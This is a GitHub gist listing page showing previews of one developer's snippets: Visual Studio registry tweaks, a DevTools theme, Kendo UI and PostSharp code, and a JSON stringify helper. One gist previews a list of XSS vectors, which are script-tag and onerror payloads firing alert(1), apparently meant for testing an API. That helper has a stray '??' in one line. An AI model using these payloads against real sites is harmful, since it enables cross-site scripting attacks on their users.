Skip to content

Instantly share code, notes, and snippets.

View JohannesHoppe's full-sized avatar
🅰️
Working on Angular things!

Johannes Hoppe JohannesHoppe

🅰️
Working on Angular things!
View GitHub Profile
@JohannesHoppe
JohannesHoppe / SuppressUpperCaseInVS.reg
Last active October 8, 2015 19:28
Prevent Visual Studio ALL CAPS Menus!
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\11.0\General]
"SuppressUpperCaseConversion"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\12.0\General]
"SuppressUpperCaseConversion"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\VisualStudio\13.0\General]
"SuppressUpperCaseConversion"=dword:00000001
@JohannesHoppe
JohannesHoppe / Custom.css
Created August 31, 2012 07:48 — forked from bentruyman/Custom.css
IR_Black Theme for Chrome Developer Tools
/**********************************************/
/*
/* IR_Black Skin by Ben Truyman - 2011
/*
/* Based on Todd Werth's IR_Black:
/* http://blog.toddwerth.com/entries/2
/*
/* Inspired by Darcy Clarke's blog post:
/* http://darcyclarke.me/design/skin-your-chrome-inspector/
/*
@JohannesHoppe
JohannesHoppe / CaseInsensitiveComparer.js
Created November 28, 2012 13:22
Case insensitive comparer for Kendo UI grid
/*
Changes all dataSources to case insensitive sorting (client side sorting).
This snipped enable case insensitive sorting on Kendo UI grid, too.
The original case sensitive comparer is a private and can't be accessed without modifying the original source code.
tested with Kendo UI version 2012.2.710 (Q2 2012 / July 2012).
*/
var CaseInsensitiveComparer = {
@JohannesHoppe
JohannesHoppe / gist:4161287
Created November 28, 2012 13:27 — forked from gfraiteur/gist:1834882
Debug a StackOverflowException in 1 minute with PostSharp
using System;
using PostSharp.Aspects;
using PostSharp.Aspects.Configuration;
using PostSharp.Aspects.Serialization;
using Resonance.Messenging.Diagnostics;
[assembly: StackOverflowDetection]
namespace Resonance.Messenging.Diagnostics
{
@JohannesHoppe
JohannesHoppe / EmptyStringModelBindingAspect.cs
Last active December 11, 2015 19:49
Manipulates the default behavior of Model Binding to initialize strings to String.Empty. (as in ASP.NET MVC 1.0)
using System;
using System.Linq;
using System.Reflection;
using MySolution;
using PostSharp.Aspects;
using PostSharp.Extensibility;
[assembly: EmptyStringModelBindingAspect(
AttributeTargetTypes = @"regex:[^\.]*\.Controllers\..*Controller",
AttributeTargetTypeAttributes = MulticastAttributes.Public,
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@JohannesHoppe
JohannesHoppe / LiveCoding.js
Last active December 28, 2015 05:19
Live Coding
index.phtml
require(['singlePage/app'], function (app) {
app.loadView('index')
});
singelPage/app.js
define(['jquery', 'knockout'], function ($, ko) {
@JohannesHoppe
JohannesHoppe / saveStringify
Created July 15, 2014 06:27
JavaScript-stringify with support for U+2028 and U+2029 characters
var saveStringify = function (obj) {
return JSON.stringify(obj)
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u??2029');
}
@JohannesHoppe
JohannesHoppe / breeze.modelLibrary.noTrackingBackingStore.js
Created October 15, 2014 13:59
breeze.modelLibrary.noTrackingBackingStore.js - see explanation at StackOverflow: http://stackoverflow.com/a/26386779/2042765
/********************************************************
* A replacement for the "backingStore" modelLibrary
*
* This is a bare version of the original backingStore,
* without ANY change tracking - that's why it will work in IE8!
* (Object.defineProperty not required any more)
*
* This adapter is a "drop in" replacement for the "backingStore" adapter in Breeze core.
* It has the same adapter name so it will silently replace the original "backingStore" adapter
* when you load this script AFTER the breeze library.
@JohannesHoppe
JohannesHoppe / DecodeMigrationHistory.cs
Created October 30, 2014 08:00
Run this code if you want to review the current content of your [__MigrationHistory] table!
using System.IO;
using System.IO.Compression;
using System.Text;
using NUnit.Framework;
using System;
namespace Example
{
[TestFixture]
[Ignore("This is not a test. Run this code if you want to review the current content of your [__MigrationHistory] table!")]